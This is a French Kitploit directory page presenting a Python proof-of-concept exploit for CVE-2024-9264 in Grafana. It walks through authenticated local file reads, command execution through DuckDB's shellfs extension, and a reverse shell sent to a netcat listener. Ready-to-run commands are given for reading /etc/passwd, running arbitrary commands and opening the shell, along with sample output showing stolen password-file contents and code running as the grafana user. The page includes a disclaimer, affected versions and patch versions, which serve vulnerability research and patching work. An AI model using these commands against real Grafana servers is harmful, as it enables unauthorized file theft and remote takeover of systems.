Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-9264 — CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC | Kitploit
Outils/GitHubGitHub/ozcanpng/cve-2024-9264
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleApprentissage et Éducation
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC

Voir le dépôt
3il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE PoC

Preuve de concept en Python pour CVE-2024-9264, une vulnérabilité de Grafana SQL Expressions qui peut permettre l'inclusion locale de fichiers après authentification et l'exécution de commandes lorsque duckdb est disponible dans le PATH du processus Grafana.

Réservé aux tests et à la recherche autorisés. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.


Fonctionnement

root@kitploit:~
accès API Grafana authentifié -> requête SQL Expressions DuckDB -> lecture de fichier -> exécution de commande shellfs facultative
  1. Envoie une requête authentifiée au point de terminaison de requête de la source de données SQL Expressions de Grafana.
  2. Lit les fichiers avec DuckDB read_blob(). Si l'exécution de commandes est demandée, /etc/passwd est d'abord utilisé comme fichier de validation par défaut.
  3. Charge éventuellement DuckDB shellfs et exécute une commande via un appel adossé à un tube.
Télécharger l’outil
read_csv()
  • Lit la sortie de la commande depuis /tmp/cve_2024_9264_out et affiche le résultat décodé.
  • Le point de terminaison vulnérable peut être appelé directement via l'API ; aucune interaction avec l'interface du tableau de bord n'est requise. L'authentification reste néanmoins requise.


    Captures d'écran

    Exécution de commandes

    Preuve d'exécution de commande

    Payload de reverse shell

    Livraison du payload de reverse shell

    Écouteur de reverse shell

    Écouteur de reverse shell


    Installation

    root@kitploit:~
    git clone https://github.com/ozcanpng/CVE-2024-9264.git
    cd CVE-2024-9264
    python3 -m pip install -r requirements.txt
    

    Utilisation

    Lecture de fichier

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
    

    Lorsque --file est utilisé seul, le script lit directement ce fichier et affiche le contenu décodé dans la section des résultats de lecture de fichier.

    Exécution de commandes

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
    

    Le script effectue d'abord une validation par lecture du fichier /etc/passwd par défaut, puis délivre le payload de la commande. Dans la section des résultats, il affiche la sortie décodée de la commande au lieu de la réponse JSON brute de Grafana.

    Reverse shell

    Démarrez un écouteur :

    root@kitploit:~
    rlwrap nc -lvnp 4444
    

    Envoyez le payload de reverse shell :

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
    

    Essai à blanc

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
    

    Débogage

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
    

    Options

    Ces options sont basées sur l'interface en ligne de commande actuelle du script :

    root@kitploit:~
    -u, --url, --target TARGET
                            URL cible, p. ex. http://localhost:3000
    --username USERNAME     Nom d'utilisateur Grafana. Défaut : admin
    --password PASSWORD     Mot de passe Grafana. Défaut : admin
    --file FILE             Chemin du fichier à lire. Chemin de preuve par défaut : /etc/passwd
    --expected-marker MARKER
                            Marqueur attendu dans la réponse de lecture du fichier. Défaut : root:
    --cmd CMD               Commande à exécuter via le chemin shellfs de DuckDB
    --reverse-shell         Exécuter un payload bash de reverse shell
    --lhost LHOST           Hôte de l'écouteur pour --reverse-shell
    --lport LPORT           Port de l'écouteur pour --reverse-shell
    --timeout TIMEOUT       Délai d'expiration HTTP en secondes. Défaut : 20
    --verify-tls            Vérifier les certificats TLS. Défaut : activé
    -k, --insecure          Désactiver la vérification des certificats TLS
    --dry-run               Afficher les métadonnées de la cible et du payload sans envoyer de requêtes
    --debug                 Afficher les métadonnées de débogage des requêtes
    

    Exemple de sortie

    Lecture de fichier

    root@kitploit:~
    [STEP 2] File Read Result
    --------------------------------------------------------------------
    [*] File path    : /etc/passwd
    [*] HTTP status  : 200
    [+] File content read successfully.
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...
    grafana:x:472:0::/home/grafana:/usr/sbin/nologin
    

    Exécution de commandes

    root@kitploit:~
    [STEP 4] Result
    --------------------------------------------------------------------
    [*] HTTP status  : 200
    [+] Payload accepted by Grafana.
    uid=472(grafana) gid=0(root) groups=0(root)
    

    Versions concernées

    ProduitVersion concernéeAccès requisImpact
    Grafana OSS / EnterpriseGrafana 11.0.x, 11.1.x et 11.2.x avant les versions de sécurité corrigéesViewer ou supérieurInclusion locale de fichiers et injection de commandes lorsque DuckDB est présent dans le PATH de Grafana

    Grafana indique que l'exploitation nécessite que le binaire duckdb soit présent dans le PATH du processus Grafana ; les distributions Grafana standard n'installent pas DuckDB par défaut.


    Remarques

    • Des identifiants Grafana valides sont requis.
    • Le compte doit disposer des autorisations Viewer ou supérieures.
    • L'exploitation directe via l'API ne signifie pas une exploitation sans authentification ; les requêtes nécessitent toujours une session valide ou des identifiants Basic Auth.
    • La lecture de fichier est utilisée comme première étape de validation avant l'exécution de commandes.
    • L'exécution de commandes dépend de DuckDB et du comportement de l'extension shellfs dans l'environnement cible.
    • Pour les cibles TLS utilisant des certificats auto-signés, passez -k ou --insecure.
    • Les versions de sécurité corrigées incluent Grafana 11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 et 11.2.2+security-01.

    Références

    • Avis de sécurité Grafana - CVE-2024-9264
    • Blog de la version de sécurité Grafana
    • NVD - CVE-2024-9264

    Auteur

    ozcanpng - github.com/ozcanpng - ozcanpng.dev